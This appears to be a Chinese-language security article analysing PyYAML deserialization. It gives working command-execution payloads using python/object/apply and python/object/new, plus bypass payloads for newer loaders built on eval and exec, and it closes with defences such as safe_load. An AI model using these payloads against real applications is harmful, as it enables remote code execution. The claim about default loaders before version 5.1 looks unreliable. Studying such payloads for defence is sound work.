PYYAML反序列化详细分析
字数 1519 2025-08-22 12:23:19

PyYAML反序列化漏洞深入分析与利用

1. YAML基础语法

YAML是一种数据序列化格式,具有以下基本特性:

  • 一个.yml文件中可以包含多份配置文件,用---分隔
  • 对大小写敏感
  • 支持JSON格式的数据
  • 使用空格缩进表示层级关系(不允许使用Tab)
  • !!表示强制类型转换
  • 支持锚点(&)和引用(*)

YAML支持三种数据结构:

  1. 对象:键值对的集合
  2. 列表:一组按次序排列的值
  3. 标量(scalars):原子值(数字、日期等)

2. PyYAML反序列化机制

PyYAML通过特定标签实现Python对象的反序列化:

2.1 关键标签

  1. !!python/object/apply:用于调用函数/方法
  2. !!python/object/new:用于创建新对象
  3. !!python/name:引用Python名称
  4. !!python/tuple:创建元组

2.2 核心方法

PyYAML通过以下方法实现反序列化:

  1. construct_python_object_apply():处理!!python/object/apply标签
  2. construct_python_object_new():处理!!python/object/new标签
  3. make_python_instance():创建Python实例的核心方法
  4. find_python_name():查找并导入Python模块和类

3. 反序列化漏洞原理

3.1 漏洞成因

PyYAML在反序列化时,允许通过YAML标签直接实例化任意Python类并执行其方法,这导致攻击者可以构造恶意YAML数据执行任意代码。

3.2 漏洞调用链

get_single_data()
  -> construct_document()
    -> construct_object()
      -> construct_python_object_apply()
        -> make_python_instance()
          -> find_python_name()

3.3 漏洞利用POC

# 基本利用方式
poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
poc = '!!python/object/apply:os.popen ["calc.exe"]'
poc = '!!python/object/apply:subprocess.run ["calc.exe"]'
poc = '!!python/object/apply:subprocess.call ["calc.exe"]'
poc = '!!python/object/apply:subprocess.Popen ["calc.exe"]'
poc = '!!python/object/apply:os.system ["calc.exe"]'

# 使用new标签
poc = '!!python/object/new:os.system ["calc.exe"]'
poc = '!!python/object/new:subprocess.check_output [["calc.exe"]]'

4. PyYAML版本差异

4.1 版本<5.1

  • 默认使用FullLoaderUnsafeLoader
  • 允许直接执行危险标签
  • 漏洞利用简单直接

4.2 版本≥5.1

  • 默认使用安全加载器
  • 增加了安全限制:
    • make_python_instance中检查if not (unsafe or isinstance(cls, type))
    • 只允许加载sys.modules中已存在的模块
    • 引用的module.name必须是类而非函数

5. 绕过高版本限制的技术

5.1 使用tuple+map组合

yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('calc')"]
""")

原理:

  1. 使用map调用eval函数
  2. 将结果转换为tuple实现回显

5.2 利用extend方法

yaml.load("""
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")

5.3 组合利用str和staticmethod

payload = """
- !!python/object/new:str
  args: []
  state:
    !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

6. 防御措施

  1. 使用yaml.safe_load()替代yaml.load()
  2. 升级到最新版PyYAML
  3. 对输入进行严格过滤
  4. 使用自定义的SafeLoader限制可用标签

7. 加载器类型对比

加载器 安全性 功能限制 适用场景
BaseConstructor 基本功能 无特殊需求
SafeConstructor 仅安全子集 不受信任输入
FullConstructor 已加载模块 默认加载器
UnsafeConstructor 极低 无限制 向后兼容

8. 技术总结

PyYAML反序列化漏洞的核心在于其灵活的标签系统允许直接实例化和调用Python对象。在低版本中,攻击者可以直接执行系统命令;在高版本中,虽然增加了限制,但通过巧妙的组合利用仍然可能实现代码执行。开发者应当充分了解这些风险,并采取适当的防护措施。

PyYAML反序列化漏洞深入分析与利用 1. YAML基础语法 YAML是一种数据序列化格式,具有以下基本特性: 一个 .yml 文件中可以包含多份配置文件,用 --- 分隔 对大小写敏感 支持JSON格式的数据 使用空格缩进表示层级关系(不允许使用Tab) !! 表示强制类型转换 支持锚点( & )和引用( * ) YAML支持三种数据结构: 对象:键值对的集合 列表:一组按次序排列的值 标量(scalars):原子值(数字、日期等) 2. PyYAML反序列化机制 PyYAML通过特定标签实现Python对象的反序列化: 2.1 关键标签 !!python/object/apply :用于调用函数/方法 !!python/object/new :用于创建新对象 !!python/name :引用Python名称 !!python/tuple :创建元组 2.2 核心方法 PyYAML通过以下方法实现反序列化: construct_python_object_apply() :处理 !!python/object/apply 标签 construct_python_object_new() :处理 !!python/object/new 标签 make_python_instance() :创建Python实例的核心方法 find_python_name() :查找并导入Python模块和类 3. 反序列化漏洞原理 3.1 漏洞成因 PyYAML在反序列化时,允许通过YAML标签直接实例化任意Python类并执行其方法,这导致攻击者可以构造恶意YAML数据执行任意代码。 3.2 漏洞调用链 3.3 漏洞利用POC 4. PyYAML版本差异 4.1 版本 <5.1 默认使用 FullLoader 或 UnsafeLoader 允许直接执行危险标签 漏洞利用简单直接 4.2 版本≥5.1 默认使用安全加载器 增加了安全限制: make_python_instance 中检查 if not (unsafe or isinstance(cls, type)) 只允许加载 sys.modules 中已存在的模块 引用的 module.name 必须是类而非函数 5. 绕过高版本限制的技术 5.1 使用tuple+map组合 原理: 使用 map 调用 eval 函数 将结果转换为 tuple 实现回显 5.2 利用extend方法 5.3 组合利用str和staticmethod 6. 防御措施 使用 yaml.safe_load() 替代 yaml.load() 升级到最新版PyYAML 对输入进行严格过滤 使用自定义的SafeLoader限制可用标签 7. 加载器类型对比 | 加载器 | 安全性 | 功能限制 | 适用场景 | |--------|--------|----------|----------| | BaseConstructor | 低 | 基本功能 | 无特殊需求 | | SafeConstructor | 高 | 仅安全子集 | 不受信任输入 | | FullConstructor | 中 | 已加载模块 | 默认加载器 | | UnsafeConstructor | 极低 | 无限制 | 向后兼容 | 8. 技术总结 PyYAML反序列化漏洞的核心在于其灵活的标签系统允许直接实例化和调用Python对象。在低版本中,攻击者可以直接执行系统命令;在高版本中,虽然增加了限制,但通过巧妙的组合利用仍然可能实现代码执行。开发者应当充分了解这些风险,并采取适当的防护措施。